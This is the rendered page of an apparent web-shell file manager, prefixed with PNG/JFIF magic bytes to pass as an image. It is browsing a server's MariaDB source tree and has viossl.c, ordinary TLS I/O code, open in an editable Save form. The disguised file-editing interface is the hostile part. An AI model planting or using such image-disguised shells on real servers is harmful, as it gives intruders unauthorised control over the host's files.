�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fvio%2F'>vio</a>/</p><hr><h3>✏️ Editing: viossl.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335  USA */

/*
  Note that we can&#039;t have assertion on file descriptors;  The reason for
  this is that during mysql shutdown, another thread can close a file
  we are working on.  In this case we should just return read errors from
  the file descriptior.
*/

#include &quot;vio_priv.h&quot;

#ifdef HAVE_OPENSSL

#define SSL_errno(X,Y) ERR_get_error()

/**
  Obtain the equivalent system error status for the last SSL I/O operation.

  @param ssl_error  The result code of the failed TLS/SSL I/O operation.
*/

static void ssl_set_sys_error(int ssl_error)
{
  int error= 0;

  switch (ssl_error)
  {
  case SSL_ERROR_ZERO_RETURN:
    error= SOCKET_ECONNRESET;
    break;
  case SSL_ERROR_WANT_READ:
  case SSL_ERROR_WANT_WRITE:
#ifdef SSL_ERROR_WANT_CONNECT
  case SSL_ERROR_WANT_CONNECT:
#endif
#ifdef SSL_ERROR_WANT_ACCEPT
  case SSL_ERROR_WANT_ACCEPT:
#endif
    error= SOCKET_EWOULDBLOCK;
    break;
  case SSL_ERROR_SSL:
    /* Protocol error. */
#ifdef EPROTO
    error= EPROTO;
#else
    error= SOCKET_ECONNRESET;
#endif
    break;
  case SSL_ERROR_SYSCALL:
  case SSL_ERROR_NONE:
  default:
    break;
  };

  /* Set error status to a equivalent of the SSL error. */
  if (error)
  {
#ifdef _WIN32
    WSASetLastError(error);
#else
    errno= error;
#endif
  }
}


/**
  Indicate whether a SSL I/O operation must be retried later.

  @param vio  VIO object representing a SSL connection.
  @param ret  Value returned by a SSL I/O function.
  @param event[out] The type of I/O event to wait/retry.
  @param should_wait[out] whether to wait for &#039;event&#039;

  @return Whether a SSL I/O operation should be deferred.
  @retval TRUE    Temporary failure, retry operation.
  @retval FALSE   Indeterminate failure.
*/

static my_bool ssl_should_retry(Vio *vio, int ret, enum enum_vio_io_event *event, my_bool *should_wait)
{
  int ssl_error;
  SSL *ssl= vio-&gt;ssl_arg;
  my_bool should_retry= TRUE;

#if defined(ERR_LIB_X509) &amp;&amp; defined(X509_R_CERT_ALREADY_IN_HASH_TABLE)
  /*
    Ignore error X509_R_CERT_ALREADY_IN_HASH_TABLE.
    This is a workaround for an OpenSSL bug in an older (&lt; 1.1.1)
    OpenSSL version.
  */
  unsigned long err = ERR_peek_error();
  if (ERR_GET_LIB(err) == ERR_LIB_X509 &amp;&amp;
      ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE)
  {
    ERR_clear_error();
    *should_wait= FALSE;
    return TRUE;
  }
#endif

  /* Retrieve the result for the SSL I/O operation. */
  ssl_error= SSL_get_error(ssl, ret);

  /* Retrieve the result for the SSL I/O operation. */
  switch (ssl_error)
  {
  case SSL_ERROR_WANT_READ:
    *event= VIO_IO_EVENT_READ;
    *should_wait= TRUE;
    break;
  case SSL_ERROR_WANT_WRITE:
    *event= VIO_IO_EVENT_WRITE;
    *should_wait= TRUE;
    break;
  default:
    should_retry= FALSE;
    *should_wait= FALSE;
    ssl_set_sys_error(ssl_error);
    ERR_clear_error();
    break;
  }

  return should_retry;
}


/**
  Handle SSL io error.

  @param[in] vio Vio
  @param[in] ret return from the failed IO operation

  @return  0 - should retry last read/write operation
           1 - some error has occurred
*/
static int handle_ssl_io_error(Vio *vio, int ret)
{
  enum enum_vio_io_event event;
  my_bool should_wait;

  /* Process the SSL I/O error. */
  if (!ssl_should_retry(vio, ret, &amp;event, &amp;should_wait))
    return 1;

  if (!should_wait)
    return 1;

  /* Attempt to wait for an I/O event. */
  return vio_socket_io_wait(vio, event);
}


size_t vio_ssl_read(Vio *vio, uchar *buf, size_t size)
{
  int ret;
  SSL *ssl= vio-&gt;ssl_arg;
  DBUG_ENTER(&quot;vio_ssl_read&quot;);
  DBUG_PRINT(&quot;enter&quot;, (&quot;sd: %d  buf: %p  size: %zu  ssl: %p&quot;,
		       (int)mysql_socket_getfd(vio-&gt;mysql_socket), buf, size,
                       vio-&gt;ssl_arg));


  while ((ret= SSL_read(ssl, buf, (int)size)) &lt; 0)
  {
    if (handle_ssl_io_error(vio, ret))
      break;
  }

  DBUG_PRINT(&quot;exit&quot;, (&quot;%d&quot;, ret));
  DBUG_RETURN(ret &lt; 0 ? -1 : ret);

}


size_t vio_ssl_write(Vio *vio, const uchar *buf, size_t size)
{
  int ret;
  SSL *ssl= vio-&gt;ssl_arg;
  DBUG_ENTER(&quot;vio_ssl_write&quot;);
  DBUG_PRINT(&quot;enter&quot;, (&quot;sd: %d  buf: %p  size: %zu&quot;,
                       (int)mysql_socket_getfd(vio-&gt;mysql_socket),
                       buf, size));
  while ((ret= SSL_write(ssl, buf, (int)size)) &lt; 0)
  {
    if (handle_ssl_io_error(vio,ret))
      break;
  }

  DBUG_RETURN(ret &lt; 0 ? -1 : ret);
}

int vio_ssl_close(Vio *vio)
{
  int r= 0;
  SSL *ssl= (SSL*)vio-&gt;ssl_arg;
  DBUG_ENTER(&quot;vio_ssl_close&quot;);

  if (ssl)
  {
    /*
    THE SSL standard says that SSL sockets must send and receive a close_notify
    alert on socket shutdown to avoid truncation attacks. However, this can
    cause problems since we often hold a lock during shutdown and this IO can
    take an unbounded amount of time to complete. Since our packets are self
    describing with length, we aren&#039;t vunerable to these attacks. Therefore,
    we just shutdown by closing the socket (quiet shutdown).
    */
    SSL_set_quiet_shutdown(ssl, 1); 
    
    switch ((r= SSL_shutdown(ssl))) {
    case 1:
      /* Shutdown successful */
      break;
    case 0:
      /*
        Shutdown not yet finished - since the socket is going to
        be closed there is no need to call SSL_shutdown() a second
        time to wait for the other side to respond
      */
      break;
    default: /* Shutdown failed */
      DBUG_PRINT(&quot;vio_error&quot;, (&quot;SSL_shutdown() failed, error: %d&quot;,
                               SSL_get_error(ssl, r)));
      break;
    }
  }
  DBUG_RETURN(vio_close(vio));
}


void vio_ssl_delete(Vio *vio)
{
  if (!vio)
    return; /* It must be safe to delete null pointer */

  if (vio-&gt;type == VIO_TYPE_SSL)
    vio_ssl_close(vio); /* Still open, close connection first */

  if (vio-&gt;ssl_arg)
  {
    SSL_free((SSL*) vio-&gt;ssl_arg);
    vio-&gt;ssl_arg= 0;
  }

  vio_delete(vio);
}


/** SSL handshake handler. */
typedef int (*ssl_handshake_func_t)(SSL*);


/**
  Loop and wait until a SSL handshake is completed.

  @param vio    VIO object representing a SSL connection.
  @param ssl    SSL structure for the connection.
  @param func   SSL handshake handler.

  @return Return value is 1 on success.
*/

static int ssl_handshake_loop(Vio *vio, SSL *ssl, ssl_handshake_func_t func)
{
  int ret;

  vio-&gt;ssl_arg= ssl;

  /* Initiate the SSL handshake. */
  while ((ret= func(ssl)) &lt; 1)
  {
    if (handle_ssl_io_error(vio,ret))
      break;
  }

  vio-&gt;ssl_arg= NULL;

  return ret;
}


static int ssl_do(struct st_VioSSLFd *ptr, Vio *vio, long timeout,
                  ssl_handshake_func_t func, unsigned long *errptr)
{
  int r;
  SSL *ssl;
  my_socket sd= mysql_socket_getfd(vio-&gt;mysql_socket);
  DBUG_ENTER(&quot;ssl_do&quot;);
  DBUG_PRINT(&quot;enter&quot;, (&quot;ptr: %p, sd: %d  ctx: %p&quot;,
                       ptr, (int)sd, ptr-&gt;ssl_context));


  if (!(ssl= SSL_new(ptr-&gt;ssl_context)))
  {
    DBUG_PRINT(&quot;error&quot;, (&quot;SSL_new failure&quot;));
    *errptr= ERR_get_error();
    DBUG_RETURN(1);
  }
  DBUG_PRINT(&quot;info&quot;, (&quot;ssl: %p timeout: %ld&quot;, ssl, timeout));
  SSL_clear(ssl);
  SSL_SESSION_set_timeout(SSL_get_session(ssl), timeout);
  SSL_set_fd(ssl, (int)sd);

#ifdef HAVE_WOLFSSL
  /* Set first argument of the transport functions. */
  wolfSSL_SetIOReadCtx(ssl, vio);
  wolfSSL_SetIOWriteCtx(ssl, vio);
#endif

#if defined(SSL_OP_NO_COMPRESSION)
  SSL_set_options(ssl, SSL_OP_NO_COMPRESSION);
#endif

  if ((r= ssl_handshake_loop(vio, ssl, func)) &lt; 1)
  {
    DBUG_PRINT(&quot;error&quot;, (&quot;SSL_connect/accept failure&quot;));
    *errptr= SSL_errno(ssl, r);
    SSL_free(ssl);
    DBUG_RETURN(1);
  }

  /*
    Connection succeeded. Install new function handlers,
    change type, set sd to the fd used when connecting
    and set pointer to the SSL structure
  */
  if (vio_reset(vio, VIO_TYPE_SSL, SSL_get_fd(ssl), ssl, 0))
  {
    DBUG_RETURN(1);
  }

#ifndef DBUG_OFF
  {
    /* Print some info about the peer */
    X509 *cert;
    char buf[512];

    DBUG_PRINT(&quot;info&quot;,(&quot;SSL connection succeeded&quot;));
    DBUG_PRINT(&quot;info&quot;,(&quot;Using cipher: &#039;%s&#039;&quot; , SSL_get_cipher_name(ssl)));

    if ((cert= SSL_get_peer_certificate (ssl)))
    {
      DBUG_PRINT(&quot;info&quot;,(&quot;Peer certificate:&quot;));
      X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf));
      DBUG_PRINT(&quot;info&quot;,(&quot;\t subject: &#039;%s&#039;&quot;, buf));
      X509_NAME_oneline(X509_get_issuer_name(cert), buf, sizeof(buf));
      DBUG_PRINT(&quot;info&quot;,(&quot;\t issuer: &#039;%s&#039;&quot;, buf));
      X509_free(cert);
    }
    else
      DBUG_PRINT(&quot;info&quot;,(&quot;Peer does not have certificate.&quot;));

    if (SSL_get_shared_ciphers(ssl, buf, sizeof(buf)))
    {
      DBUG_PRINT(&quot;info&quot;,(&quot;shared_ciphers: &#039;%s&#039;&quot;, buf));
    }
    else
      DBUG_PRINT(&quot;info&quot;,(&quot;no shared ciphers!&quot;));
  }
#endif

  DBUG_RETURN(0);
}


int sslaccept(struct st_VioSSLFd *ptr, Vio *vio, long timeout, unsigned long *errptr)
{
  DBUG_ENTER(&quot;sslaccept&quot;);
  DBUG_RETURN(ssl_do(ptr, vio, timeout, SSL_accept, errptr));
}


int sslconnect(struct st_VioSSLFd *ptr, Vio *vio, long timeout, unsigned long *errptr)
{
  DBUG_ENTER(&quot;sslconnect&quot;);
  DBUG_RETURN(ssl_do(ptr, vio, timeout, SSL_connect, errptr));
}


int vio_ssl_blocking(Vio *vio __attribute__((unused)),
		     my_bool set_blocking_mode,
		     my_bool *old_mode)
{
  /* Mode is always blocking */
  *old_mode= 1;
  /* Return error if we try to change to non_blocking mode */
  return (set_blocking_mode ? 0 : 1);
}

my_bool vio_ssl_has_data(Vio *vio)
{
  return SSL_pending(vio-&gt;ssl_arg) &gt; 0 ? TRUE : FALSE;
}

#endif /* HAVE_OPENSSL */
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fvio'>🔙 Back</a></p>